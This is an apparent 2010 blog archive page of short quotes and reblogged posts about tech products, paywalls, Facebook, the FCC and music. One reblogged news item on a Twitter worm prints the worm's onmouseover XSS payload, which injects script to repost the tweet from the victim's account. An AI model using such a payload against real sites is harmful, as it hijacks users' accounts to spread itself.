September 2010
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“Keep listening. Never become so self-important that you cannot listen to other...”
– -John Coltrane.
Feel free to replace “players” with entrepreneurs, coders, bloggers, teachers, …
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“You won’t find a matrix where Apple compares their product to a competitor by...”
– A product is not just about features. It’s about experience. - Sachin’s Posterous (via hiten)
gbattle sez:
Too many companies see product features as equivalent to user benefits. This is a well-paved road toward weak differentiation, commoditization and ultimately irrelevance.
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“Playing with my money is like playing with my emotions.”
– Big Worm, in “Friday.” And you know this, man.
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Oh Whitney, this is tough. Me likey anything with...
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“This is not about the founder of Facebook. For me, it’s about academics...”
– Steve Perry, CNN Education Commentator, regarding Mark Zuckerberg’s $100 million gift to Newark schools, destroying Facebook fanboy David Kirkpatrick’s praise for the gesture.
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The Age of Premium Information OR A Penny For Your... →
giantrobotlasers:
This is a post by Dave Morin that requires me to pay to see it. It is published using a new service called letter.ly
Abby put it well the other day: there is a difference between fact and opinion.
You can’t just take an opinion, add a paywall, and equate it to premium facts. Many companies make money on premium facts: techcrunch, CNN, Bloomberg to name a few. Name a few that...
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A Twitter Worm In The Wild!
beranger:
There is a new Twitter malware that spreads itself when a user hovers the mouse over an infected tweet that looks like a black area.
Looks of an infected tweet:
Code:
http://a.no/@"onmouseover=";$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()" style="color:#000;background:#000;
Colored (red)...
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“It was on this day two years ago, in 2008, that Lehman Brothers filed for...”
– The Writer’s Almanac, September 15th, 2010 (via 6h057)
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“The fact that new applications can use unlicensed airwaves is important as an...”
– F.C.C. Likely To Open New Airwaves to Wireless.
When people ask about the type of disruptive things government can do to grow the economy, look no further than the F.C.C. to provide a deregulated catalyst for lean startup innovation. Huge news.
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Breaking: Facebook Fiends Tend to be Narcissistic... →
“Narcissists and those with low self-esteem gravitate toward Facebook as a self-promotional tool and tend to be heavier users of the site, according to a study by a York University psychology student.” - York University Study
Even the most casual student of the space will note how off - and old - all the growth numbers are in the historical account of the social networking space....
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WatchMy man @ToureX landed a rare Hip Hop Shop interview on Fuse with Lauryn Hill who granted some insight into her absence from the scene. Toure asks the burning questions we all have had for Ms. Hill, whose answers belie a wisdom from the vicissitudes of her life experience.
As someone who was lucky enough to work with Ms. Hill in the studio briefly, I welcome her return on her terms.
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Thy Ping-dom Come, Steve Jobs Will Be Done
Like many, I am baffled and underwhelmed by the Ping service in iTunes 10. One thing is certain to me. Ping is not a music social network, nor a social music network, nor even a social network that happens to have music.
Let’s take a quick inventory of all of the assets available to the iTunes Ping service:
Complete playlist, listening, reading, rating and app usage history across...